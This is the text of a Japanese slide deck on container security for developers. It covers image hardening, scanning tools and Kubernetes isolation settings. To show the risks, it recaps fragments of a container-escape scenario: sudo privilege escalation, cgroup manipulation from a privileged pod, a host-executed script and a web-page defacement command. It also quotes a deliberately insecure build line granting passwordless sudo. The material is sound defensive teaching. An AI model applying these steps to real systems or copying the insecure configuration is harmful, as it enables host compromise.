3.2. コンテナセキュリティの考え方 -イメージ- リスク
また、コンテナイメージに不要なコマンド(sudo)が含まれていたこともセキュリティリスクであったといえます。
本来コンテナが動作する上で必要ではないsudoコマンドが含まれていたことにより、
攻撃者はコンテナに侵入後、特権ユーザーに昇格し、悪意のある操作を行うことができてしまいました。
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
sudo su -
id
uid=0(root) gid=0(root) groups=0(root)
コンテナ侵入後の特権昇格(再掲)
3.2. コンテナセキュリティの考え方 -イメージ- リスク
代表的なイメージのセキュリティリスクに対処するためのプラクティス
■概念
 NIST SP800-190 アプリケーションコンテナセキュリティガイド(IPA日本語翻訳版)
 - 4.1 イメージの対策
 https://www.ipa.go.jp/
fi
les/000085279.pdf
■具体的な設定
 CIS Benchmark Docker
 - 4 Container Images and Build File Con
fi
guration
 https://www.cisecurity.org/benchmark/docker
 Best practices for writing Docker
fi
les
 https://docs.docker.com/develop/develop-images/docker
fi
le_best-practices/
3.2. コンテナセキュリティの考え方 -イメージ- 対策
今回の攻撃事例のように信頼できないベースイメージを使用するとイメージに意図せぬセキュリティリスクを含む
危険性があります。
ベースイメージには信頼できるイメージを使う、もしくはscratchでイメージを作成する
ということがイメージのセキュリティ対策を考える上での大前提となります。
# O
ffi
cial Image of Apache HTTP Server Project
FROM httpd:2.4.48-alpine
# Place content
COPY index.html /usr/local/apache2/htdocs/
RUN chown www-data:www-data /usr/local/apache2/htdocs/index.html
Docker
fi
le(httpd公式イメージを使用)
(mochizuki875/training-website-poc:v2.0)
信頼できるイメージを利用する
※イメージとして使用するソフトウェア自体に致命的な脆弱性がないかも意識する必要があります。
 例えば今回の場合httpd 2.4.48自体に致命的な脆弱性が存在していないかを予め確認しておくべきです。
 https://httpd.apache.org/security/vulnerabilities_24.html
3.2. コンテナセキュリティの考え方 -イメージ- 対策
余分なものを含めないという観点で作成するイメージをできる限り小さくすることが重要になります。
また、信頼できるイメージ(httpdの公式イメージ)をベースイメージとして使用する場合でも、
タグバージョンによってイメージサイズが異なり、サイズが大きなイメージ程そこに余分な(攻撃に使用され得る)ものが
含まれる可能性が高くなります。
このような理由から、一般的にサイズの小さいタグバージョンを使用する方がセキュリティリスクは少ないといえます。
httpd:2.4.48(dedian-slimベース)と2.4.48-alpine(alpineベース)の比較
# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
httpd 2.4.48 c8ca530172a8 45 hours ago 138MB
httpd 2.4.48-alpine feb558a43c19 12 days ago 54.8MB
※もちろんですが、ベースイメージから作成するイメージについても不要なパッケージを極力含まないようにするという取り組みも重要です。
イメージを小さくする
3.2. コンテナセキュリティの考え方 -イメージ- 対策
いくらセキュリティを意識してイメージを作成したとしても意図せず脆弱性や危険な設定を含んでしまう可能性はあります。
そこで助けになるのがコンテナイメージのスキャンツールです。
■代表的なイメージスキャンツール
・コンテナイメージに含まれるパッケージの
 脆弱性を検知できる
・ただしパッケージマネージャーを使用せず
 バイナリから直接インストールしたものに
 ついては検知できない
・Docker
fi
leやk8s Manifestの
 スキャンにも対応
・コンテナイメージがベストプラクティスに則った
 構成になっているかをチェックできる
  ・Docker CIS Benchmark
  ・Dockle独自のプラクティス
・コンテナイメージの設定上のセキュリティリスク
 を検知できる
 (Trivyで検知できないパッケージ以外のリスク検知に有効)
https://github.com/aquasecurity/trivy https://github.com/goodwithtech/dockle
イメージをスキャンする
※ここでは代表的なOSSのイメージスキャンツールを例として示していますがこれが正解という意図ではありません。
3.2. コンテナセキュリティの考え方 -イメージ- 対策
trivyを用いてイメージをスキャンすることで、以下のようにイメージに含まれるパッケージの脆弱性を検知できます。
今回攻撃に使用された脆弱性(CVE-2014-6271)についてもtrivyを用いて検知できていることが分かります。
$ trivy --severity CRITICAL,HIGH mochizuki875/training-website-poc:v1.0


2021-08-30T19:13:57.535+0900
	
INFO
	
Need to update DB


2021-08-30T19:13:57.535+0900
	
INFO
	
Downloading DB...


23.09 MiB / 23.09 MiB [--------------------------------------------------------------------------------------------------------------------------] 100.00%
12.18 MiB p/s 2s


2021-08-30T19:14:00.488+0900
	
INFO
	
Detected OS: debian


2021-08-30T19:14:00.488+0900
	
INFO
	
Detecting Debian vulnerabilities...


2021-08-30T19:14:00.510+0900
	
INFO
	
Number of language-specific files: 0


mochizuki875/training-website-poc:v1.0 (debian 10.10)


=====================================================


Total: 43 (HIGH: 38, CRITICAL: 5)


+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+


| LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |


+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+


| apache2 | CVE-2021-33193 | HIGH | 2.4.38-3+deb10u5 | | httpd: Request splitting via HTTP/2 |


| | | | | | method injection and mod_proxy |


| | | | | | -->avd.aquasec.com/nvd/cve-2021-33193 |


+---------------+ + + +------------------+ +


・


・


・


+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+


| bash | CVE-2014-6271 | CRITICAL | 4.2+dfsg-0.1 | 4.3-9.1 | bash: specially-crafted |


| | | | | | environment variables can be |


| | | | | | used to inject shell commands |


| | | | | | -->avd.aquasec.com/nvd/cve-2014-6271 |


+ +------------------+----------+ +------------------+--------------------------------------------------------------+


| | CVE-2012-6711 | HIGH | | 4.3-1 | bash: heap-based buffer |


| | | | | | overflow during echo of |


| | | | | | unsupported characters |


| | | | | | -->avd.aquasec.com/nvd/cve-2012-6711 |


+ +------------------+ + +------------------+--------------------------------------------------------------+


・


・


・


+---------------+------------------+ +-----------------------+------------------+--------------------------------------------------------------+


| openssl | CVE-2021-3711 | | 1.1.1d-0+deb10u6 | 1.1.1d-0+deb10u7 | openssl: SM2 Decryption |


| | | | | | Buffer Overflow |


| | | | | | -->avd.aquasec.com/nvd/cve-2021-3711 |


+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+
3.2. コンテナセキュリティの考え方 -イメージ- 対策
$ dockle mochizuki875/training-website-poc:v1.0


2021-08-30T19:23:33.243+0900
	
INFO
	
Failed to check latest version. not found version patterns


FATAL
	
- DKL-DI-0001: Avoid sudo command


	
* Avoid sudo in container : RUN /bin/sh -c apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y apache2
&& a2enmod cgid && apt-get -y install libtinfo5 && apt-get -y install netcat && apt-get install -y sudo && groupadd wheel &&
usermod -aG wheel www-data && echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers && apt-get clean && rm -rf /var/lib/apt/lists/* # buildkit


WARN
	
- CIS-DI-0001: Create a user for the container


	
* Last user should not be root


INFO
	
- CIS-DI-0005: Enable Content trust for Docker


	
* export DOCKER_CONTENT_TRUST=1 before docker pull/build


INFO
	
- CIS-DI-0006: Add HEALTHCHECK instruction to the container image


	
* not found HEALTHCHECK statement


INFO
	
- CIS-DI-0008: Confirm safety of setuid/setgid files


	
* setuid file: urwxr-xr-x bin/ping


	
* setuid file: urwxr-xr-x usr/bin/passwd


	
* setuid file: urwxr-xr-x usr/bin/sudo


	
* setgid file: grwxr-xr-x usr/bin/expiry


	
* setgid file: grwxr-xr-x usr/bin/wall


	
* setgid file: grwxr-xr-x usr/bin/chage


	
* setuid file: urwxr-xr-x bin/umount


	
* setuid file: urwxr-xr-x bin/su


	
* setuid file: urwxr-xr-x usr/bin/gpasswd


	
* setgid file: grwxr-xr-x sbin/unix_chkpwd


	
* setuid file: urwxr-xr-x bin/mount


	
* setuid file: urwxr-xr-x usr/bin/newgrp


	
* setuid file: urwxr-xr-x usr/bin/chfn


	
* setuid file: urwxr-xr-x usr/bin/chsh
dockleを用いてイメージをスキャンすることで、設定上のセキュリティリスクを検知することができます。
今回の攻撃例においてコンテナ侵入後に特権昇格に用いられたsudoコマンドに関する警告が検知されている
ことが分かります。
3.2. コンテナセキュリティの考え方 -イメージ- 対策
(参考)イメージスキャンの継続的な実施
 時間の経過とともにコンテナイメージに含まれる脆弱性が明らかになってくるケースもあるため、
 脆弱性スキャンは1度だけ行うのではなく継続的に行うことも重要になってきます。
 今回はスキャンツールを単体で利用していますが、イメージスキャンをCIツールやECRなどレジストリに統合して用いることで、
 継続的にイメージの脆弱性スキャンを行うケースもよく見受けられます。
3.2. コンテナセキュリティの考え方 -イメージ- 対策
No 対策 詳細
1 信頼できるイメージを利用する
信頼できないイメージには、脆弱性やAttack Surfaceになり得るパッケージ、
マルウェア、危険な設定などあらゆるセキュリティリスクが含まれている可能性が
あるため、公式イメージを用いるか、scratchでイメージを作成すべき。
2 イメージを小さくする
一般的にイメージ容量が大きいということはイメージにセキュリティリスクを含む可能性も
高くなるため、可能な限りイメージを小さくすべき。
3 イメージをスキャンする
意図せぬ脆弱性や設定不備の混入を防止するためにイメージのスキャンを行う。
時間経過と共に発生した脆弱性に対応するためスキャンは継続的に行う。
※ただしツールを用いることで全てのセキュリティリスクを取り除けるわけではないため
 1,2を踏まえた上で補助的な役割としてツールを活用すべき。
セキュリティ対策まとめ
3.2. コンテナセキュリティの考え方 -イメージ- 対策
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
Container Host
OS
process A
process B
process C
process D
コンテナとして起動するプロセス
コンテナはあくまでOS上で実行される1プロセスに過ぎません。
rootfs(/)
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則
Container Host
OS
process A
rootfs(/)
process B
process C
rootfs(/)
process D
Container
Isolation
Namespace:プロセスの実行空間を隔離
pivot_root + OverlayFS:rootfsを隔離
Limitation
cgroup:リソースを制限
Restriction
Capability:プロセスの権限範囲を制限
Seccomp:システムコールを制限
MAC(AppArmor/SELinux):ファイルアクセスを制限
ReadOnlyMount:重要なファイルシステム(/procや/sys等)をROでマウント
                                    etc
一般的なプロセスとコンテナの違いは、コンテナとして実行されるプロセスはLinuxカーネルの持つ様々な仕組みを使って
他のプロセスから隔離されている点です。
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則
Container Host
Container Host
process
Container A
process
Container B
コンテナとしての隔離性が高い状態 コンテナとしての隔離性が低い状態
コンテナ内で動くプロセスの動作が
ホストに影響しない
コンテナ内で動くプロセスの一部の
動作がホストに影響してしまう
コンテナの隔離性を維持する
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則
 << セキュリティリスク << 
小 大
Kubernetes Manifestではコンテナに対する様々な起動設定を定義できますが、
この設定によりコンテナの隔離性を強めることも弱めることもできます。
これらを適切に行うことが、コンテナレイヤにおけるセキュリティ確保に繋がります。
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu
spec:
containers:
- image: ubuntu:20.04
name: ubuntu-sec
command: ["/bin/sh", "-c", "while :; do sleep 10; done"]
resources:
limits:
cpu: "500m"
memory: "128Mi"
securityContext:
readOnlyRootFilesystem: true
volumeMounts:
- mountPath: /tmp
name: hostpath-sample
volumes:
- name: hostpath-sample
hostPath:
path: /tmp
k8s manifestの例
使用可能リソースを制限することで隔離性向上
コンテナのrootfsへの書き込みを禁止することで隔離性向上
※コンテナのrootfsの実態はコンテナホスト上のOverlayfs
コンテナホストのディレクトリをバインドマウントしており隔離性低下
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則
隔離性を高めるための設定
不要な権限を付与しない リソースの制限
ホストのディレクトリをマウントしない コンテナ内での変更を禁止
カーネルに対する操作の制限
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則
今回攻撃が成立してしまったケースにおいて、開発者が用意したコンテナ起動設定(Kubernetes Manifest)がどうだったか
見てみましょう。
Kubernetes Manifestを見てみると、コンテナに特権を付与していることが分かります。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web
name: web
spec:
containers:
- image: mochizuki875/training-website-poc:v1.0
name: web
securityContext:
privileged: true
今回コンテナの起動に利用したのKubernetes Manifest
(web-insecure-pod.yml)
コンテナに特権を与えている
3.3. コンテナセキュリティの考え方 -コンテナ- リスク
コンテナを特権で動作させるということはコンテナプロセスにホストの特権ユーザー(root)と同等の権限を持たせることになり、
コンテナの隔離性を低下させることに繋がります。
Container Host
OS
process A
rootfs(/)
process B
process C
rootfs(/)
process D
Container
Isolation
Namespace:プロセスの実行空間を隔離
pivot_root + OverlayFS:rootfsを隔離
Limitation
cgroup:リソースを制限
Restriction
Capability:プロセスの権限範囲を制限
Seccomp:システムコールを制限
MAC(AppArmor/SELinux):ファイルアクセスを制限
ReadOnlyMount:重要なファイルシステム(/procや/sys等)をROでマウント
                                    etc
Privileged
ホストの特権ユーザーと
同等の権限
3.3. コンテナセキュリティの考え方 -コンテナ- リスク
mount ¦ grep cgroup
(略)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)
(略)
(特権コンテナ)
 今回のケースでは特権を与えたことによりcgroupへのアクセス権がRWに設定されました
今回の攻撃事例ではコンテナに特権を付与したことで、
本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。
これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることが
できてしまいました。
mount ¦ grep cgroup
(略)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
(略)
(非特権コンテナ)
 通常コンテナではcgroupへのアクセス権はROに設定されます
3.3. コンテナセキュリティの考え方 -コンテナ- リスク
mkdir /sys/fs/cgroup/rdma/x
・
・
・
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
本来コンテナからは許可されていない
cgroupの操作を通じたプログラムの実行
mkdir /sys/fs/cgroup/rdma/x
mkdir: cannot create directory '/sys/fs/cgroup/rdma/x': Read-only
fi
le system
(非特権コンテナ)
 cgroupへのアクセス権がROなのでcgroupの作成が許可されていない
(特権コンテナ)
 cgroupへのアクセス権がRWに設定されておりcgroupの作成や設定変更が可能
3.3. コンテナセキュリティの考え方 -コンテナ-
今回の攻撃事例ではコンテナに特権を付与したことで、
本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。
これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることが
できてしまいました。
リスク
また、今回の例では侵入したコンテナ内でファイルの編集や新規作成を実行できたことも、
攻撃が成立した要因であったと言えます。
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html
Webコンテンツの改竄(シナリオ①)
cat <<EOF > /cmd
#!/bin/sh
echo "hostname Command from Container" > /tmp/output
hostname >> /tmp/output
EOF
# chmod +x /cmd
不正なプログラムの作成(シナリオ②)
3.3. コンテナセキュリティの考え方 -コンテナ- リスク
攻撃事例の中でも説明した通りコンテナのrootfsの実態はコンテナホスト上のOverlayfsであり、
コンテナ内でのrootfsに対する変更差分はUpperdirと呼ばれるホスト上の特定ディレクトリに反映されます。
(悪意のあるファイルをコンテナからコンテナホスト上に配置できてしまう事になる)
したがって、コンテナ内でファイルの編集や新規作成が行えるということはコンテナの隔離性が低い状態であることを意味し、
セキュリティリスクになり得ると言えます。
※Kubernetesにおいてデフォルトでは、コンテナ内のrootfsへのアクセス権がRWになっています。
Container Host
OS
rootfs(/)
process
Container
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
コンテナrootfsの実態
コンテナ内で作成したファイルの実態
はコンテナホスト上に存在
File
3.3. コンテナセキュリティの考え方 -コンテナ- リスク
代表的なコンテナのセキュリティリスクに対処するためのプラクティス
■概念
 NIST SP800-190 アプリケーションコンテナセキュリティガイド(IPA日本語翻訳版)
 - 4.4 コンテナの対策
 - 4.5 ホストの対策)
 https://www.ipa.go.jp/
fi
les/000085279.pdf
■具体的な設定
 Pod Security Standards
 https://kubernetes.io/docs/concepts/security/pod-security-standards/
 NSA CISA Kubernetes Hardening Guidance (Kubernetes Pod security )
 https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
Kubernetesでコンテナをデプロイする際は、デフォルトでコンテナプロセスに対する制限が行われます。
そのため特に設定を行わずとも最低限*の隔離性を担保することができます。
今回の例では以下のようにデフォルト設定でコンテナを起動していれば、
コンテナからホストに対してコマンドを実行されることを防ぐことができました。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web
name: web
spec:
containers:
- image: mochizuki875/training-website-poc:v2.0
name: web
今回コンテナの起動に利用したのKubernetes Manifest
(web-default-pod.yml)
コンテナに不要な設定を行わない
*Kubernetes Pod Security StandardsにおけるBaseline相当
不要な設定を行わない
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
デフォルトの設定に対して適切な設定を行うことでコンテナの隔離性を向上させ、
セキュリティレベルを高めることができます。
※具体的な設定値の一覧については先に示したプラクティスをご参照ください。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web-secure
name: web-secure
spec:
securityContext:
seccompPro
fi
le:
type: RuntimeDefault
automountServiceAccountToken: false
containers:
- image: mochizuki875/training-website-poc:v2.0
name: web
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- all
add:
- CHOWN
- SETUID
- SETGID
- NET_BIND_SERVICE
resources:
limits:
cpu: "500m"
memory: "128Mi"
volumeMounts:
- name: log-volume
mountPath: /usr/local/apache2/logs/
volumes:
- name: log-volume
emptyDir: {}
・・・①
・・・②
・・・③
・・・④
・・・⑤
・・・④
[隔離性をより高める設定の例]
  ① seccompによるシステムコールの制限
  ② ServiceAccountをマウントしない
  ③ 特権昇格の禁止
  ④ rootfsへの書き込み禁止
  ⑤ Capabilityの剥奪・必要最小限の付与
  ⑥ リソース使用量を制限
隔離性をより高める設定
セキュリティ対策を施したKubernetes Manifest
(web-secure-pod.yml)
※特に今回の攻撃に関連する対策は青字で表記しています。
3.3. コンテナセキュリティの考え方 -コンテナ-
・・・⑥
対策
コンテナの隔離性をより高める設定の代表的な項目の1つとして、
コンテナの実行ユーザーをrootとせず非rootとすべきといった内容が挙げられます。
※コンテナイメージ、Kubernetes Manifestで特に指定しない場合はrootでコンテナが起動される
FROM ubuntu:20.04
CMD ["/bin/sh", "-c", "while :; do sleep 10; done"]
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu-root
spec:
containers:
- image: mochizuki875/ubuntu:20.04-root
name: ubuntu-root
FROM ubuntu:20.04
RUN useradd -m -u 1000 user01
USER user01
WORKDIR /home/user01
CMD ["/bin/sh", "-c", "while :; do sleep 10; done"]
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu-user01
spec:
containers:
- image: mochizuki875/ubuntu:20.04-runas
name: ubuntu-user01
securityContext:
runAsUser: 1000
runAsGroup: 1000
runAsNonRoot: true
Docker
fi
le(root)
Manifest(root)
Docker
fi
le(非root)
Manifest(非root)
コンテナ実行ユーザーを指定
コンテナ実行ユーザー(UID)を指定
加えてrootでの実行を禁止
コンテナの実行ユーザーについて(隔離性を高める設定の1つ)
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
# ps auxf
(略)
root 2298580 0.0 0.1 713320 11724 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id
86222752d6436332b01df7532206388e04bb0e404740de58e
root 2298607 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause
root 2298704 0.0 0.0 2608 1660 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done
root 2302816 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10
(略)
root 2298350 0.0 0.1 713320 11960 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id
0721217fc08a655c528a93581b7a35cadf9bf97cc82aea319
root 2298375 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause
user01 2298414 0.0 0.0 2608 1756 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done
user01 2302835 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10
(略)
# kubectl get po
NAME READY STATUS RESTARTS AGE
ubuntu-root 1/1 Running 0 15m
ubuntu-user01 1/1 Running 0 16m
rootで実行したコンテナのプロセス
(ubuntu-root)
非rootで実行したコンテナのプロセス
(ubuntu-user01)
これは、コンテナとコンテナホスト上でのコンテナプロセスの実行ユーザーがイコールになることにより、
rootユーザーで実行したコンテナがコンテナホスト上でrootプロセスとして実行されることになるためです。
(権限隔離の観点でコンテナの隔離性を損なう)
コンテナ起動状況
コンテナホスト上でのプロセス確認
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
実際にコンテナを起動させ、コンテナホスト上でプロセスの実行ユーザーを確認すると、
確かにコンテナの実行ユーザーとプロセスの実行ユーザーが一致していることが分かります。
※これは2021年11月現在、コンテナとホストのUser Namespaceが共通であるという仕組みによるもの
ただし前述の通り、コンテナはCapabilityをはじめとしたカーネルの仕組みにより、
たとえrootで実行したとしても権限が制限されます。(基本的にroot実行しても害はない)
しかしコンテナランタイムの脆弱性(CVE-2019-5736)等により権限を制限しきれないケースも発生し得ます。
そうなった場合、コンテナの隔離性を維持しきれずContainer Breakout等に繋がるリスクになるため
基本的にコンテナは非rootで実行すべきです。
(補足)今回の例における実行ユーザーの考え方
今回Webサーバーとして使用したhttpdの場合は親プロセスのみがrootで起動し、ワーカープロセスは非rootユーザー(daemon)で実行されるため
コンテナをrootで起動させるリスクについては受容した。
※nginxやhttpdをはじめとしたWebサーバーの公式イメージではコンテナポートとして特権ポート(80 ポート)を使用する理由から、root実行を前提とするものが多い
# kubectl exec -it web-secure -- /bin/sh
/usr/local/apache2 # ps aux
PID USER TIME COMMAND
1 root 2:37 httpd -DFOREGROUND
10 daemon 0:00 httpd -DFOREGROUND
11 daemon 0:00 httpd -DFOREGROUND
12 daemon 0:00 httpd -DFOREGROUND
94 daemon 0:00 httpd -DFOREGROUND
・・・
Workerプロセスは非rootで実行される
httpdコンテナのプロセス実行ユーザー確認
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
近年Linux Namespaceの内、User Namespaceをコンテナとホストで分離することで、
コンテナをrootで実行してもコンテナホスト上ではコンテナプロセスが非特権ユーザーで
実行されるようにする仕組みが検討されています。
※現在はコンテナとコンテナホストでUser Namespaceが共通であるためコンテナとプロセスの実行ユーザーが同じ
Support node-level user namespace remapping
https://github.com/kubernetes/enhancements/issues/127
(参考)rootlessコンテナ
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
イメージの場合と同様、いくらセキュリティを意識してコンテナ起動設定を作成したとしても、
意図せず危険な設定を含んでしまう可能性はあります。
Kubernetes Manifestについてもセキュリティリスクを評価するためのスキャンツールが存在します。
■代表的なKubernetes Manifestスキャンツール
・Kubernetes Manifestに含まれるセキュリティ
 リスクを検知できる
・マニフェストの自動修正が可能
・稼働中のPodに対するスキャンが可能
https://github.com/controlplaneio/kubesec https://github.com/Shopify/kubeaudit
・Kubernetes Manifestの設定項目をスコア付して
 セキュリティリスクを評価する
・CLI以外にHTTPサーバーとしてスキャン機能を
 提供することが可能
kubeaudit ☁ 🔒 💪
Kubesec
マニフェストをスキャンする
※ここでは代表的なOSSのイメージスキャンツールを例として示していますがこれが正解という意図ではありません。
 またクラスタレイヤの話になりますが、適用可能な設定をOPAなどポリシーを用いて制御するといった手段も考えられます。
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
Kubesecを用いてKubernetes Manifestをスキャンすることで、以下のようにコンテナ起動設定の評価を行うことができます。
今回の攻撃の主要因となったPrivileged設定がCriticalで検知されている他、
隔離性を高めるための推奨設定がadviseとして検知されていることが分かります。
$ kubesec scan web-insecure-pod.yml
[
{
"object": "Pod/web-insecure.default",
"valid": true,
"
fi
leName": "web-insecure-pod.yml",
"message": "Failed with a score of -30 points",
"score": -30,
"scoring": {
"critical": [
{
"id": "Privileged",
"selector": "containers[] .securityContext .privileged == true",
"reason": "Privileged containers can allow almost completely unrestricted host access",
"points": -30
}
],
"advise": [
{
"id": "ApparmorAny",
"selector": ".metadata .annotations ."container.apparmor.security.beta.kubernetes.io/nginx"",
"reason": "Well de
fi
ned AppArmor policies may provide greater protection from unknown threats. WARNING: NOT PRODUCTION READY",
"points": 3
},
・
・
・
{


"id": "ReadOnlyRootFilesystem",


"selector": "containers[] .securityContext .readOnlyRootFilesystem == true",


"reason": "An immutable root filesystem can prevent malicious binaries being added to PATH and increase attack cost",


"points": 1


},
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
No 対策 詳細
1 不要な設定を行わない
Kubernetesでは特に設定を行わなくても最低限の隔離性は担保される
※特に意味を理解せず設定を追加するとコンテナの隔離性を低下させる恐れがある
2 より隔離性を高める設定
プラクティスを参考により隔離性を高めるための設定を追加する
コンテナの実行ユーザーを非rootに設定する
3 起動設定のスキャン 隔離性を低下させる危険な設定がないかツールを用いて確認する
セキュリティ対策まとめ
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
PodSecurity Admission
 KubernetesのPod Security Standerdに準拠したPodのみデプロイを許可する機能。 
 Kubernetes v1.22時点でalpha機能として実装された。
 https://kubernetes.io/docs/concepts/security/pod-security-admission/
kubescape
 稼働中のPodがNSA CISA Kubernetes Hardening Guidanceの項目に準拠しているかを検査するツール。
 https://github.com/armosec/kubescape
その他にも最近開発が進んでいるコンテナの隔離性確保を補助するツールとして以下のものがあります。
(参考)
3.3. コンテナセキュリティの考え方 -コンテナ- 対策
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
開発者目線で意識すべきコンテナセキュリテリスク
 ・リスクを実感するために攻撃のモデルケースを用いて具体化してご説明しました
開発者目線で意識すべきコンテナセキュリティ対策の考え方
 ・攻撃事例をもとに各レイヤにおける対策の考え方を体系化しました
   ・イメージレイヤ:イメージに余分なものを含めない
   ・コンテナレイヤ:コンテナの隔離性を維持する
 ・今回示した考え方をベースに具体的にどのようなツールをどう用いて対策するか考える
  ※具体的対策についてはプラクティスを参照してください
コンテナセキュリティを意識するきっかけ作りとしての位置付け
 
 ・本日の内容が皆様がコンテナセキュリティを意識し考える上での一助となれば幸いです
4.まとめ
opsxcq/exploit-CVE-2014-6271
※今回の攻撃シナリオ①は一部こちらを参考にさせて頂いています
https://github.com/opsxcq/exploit-CVE-2014-6271
Container Security Book
※今回の攻撃シナリオ②は一部こちらを参考にさせて頂いています
https://container-security.dev/security/breakout-to-host.html
Docker/Kubernetes 開発・運用のためのセキュリティ実践ガイド
https://book.mynavi.jp/ec/products/detail/id=114099
コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう
https://eh-career.com/engineerhub/entry/2019/02/05/103000
参考
Thank You!!
引き続き
楽しんで行きましょう!

More Related Content

What's hot

BuildKitの概要と最近の機能
BuildKitの概要と最近の機能BuildKitの概要と最近の機能
BuildKitの概要と最近の機能
Kohei Tokunaga
 
Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)
Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)
Kubernetesでの性能解析 ~なんとなく遅いからの脱却~(Kubernetes Meetup Tokyo #33 発表資料)
NTT DATA Technology & Innovation
 
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
どうやって決める?kubernetesでのシークレット管理方法(Cloud Native Days 2020 発表資料)
NTT DATA Technology & Innovation
 
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
Takuto Wada
 
分散トレーシング技術について(Open tracingやjaeger)
分散トレーシング技術について(Open tracingやjaeger)分散トレーシング技術について(Open tracingやjaeger)
分散トレーシング技術について(Open tracingやjaeger)
NTT Communications Technology Development
 
コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」コンテナの作り方「Dockerは裏方で何をしているのか?」
コンテナの作り方「Dockerは裏方で何をしているのか?」
Masahito Zembutsu
 
Fluentdのお勧めシステム構成パターン
Fluentdのお勧めシステム構成パターンFluentdのお勧めシステム構成パターン
Fluentdのお勧めシステム構成パターン
Kentaro Yoshida
 
マイクロにしすぎた結果がこれだよ!
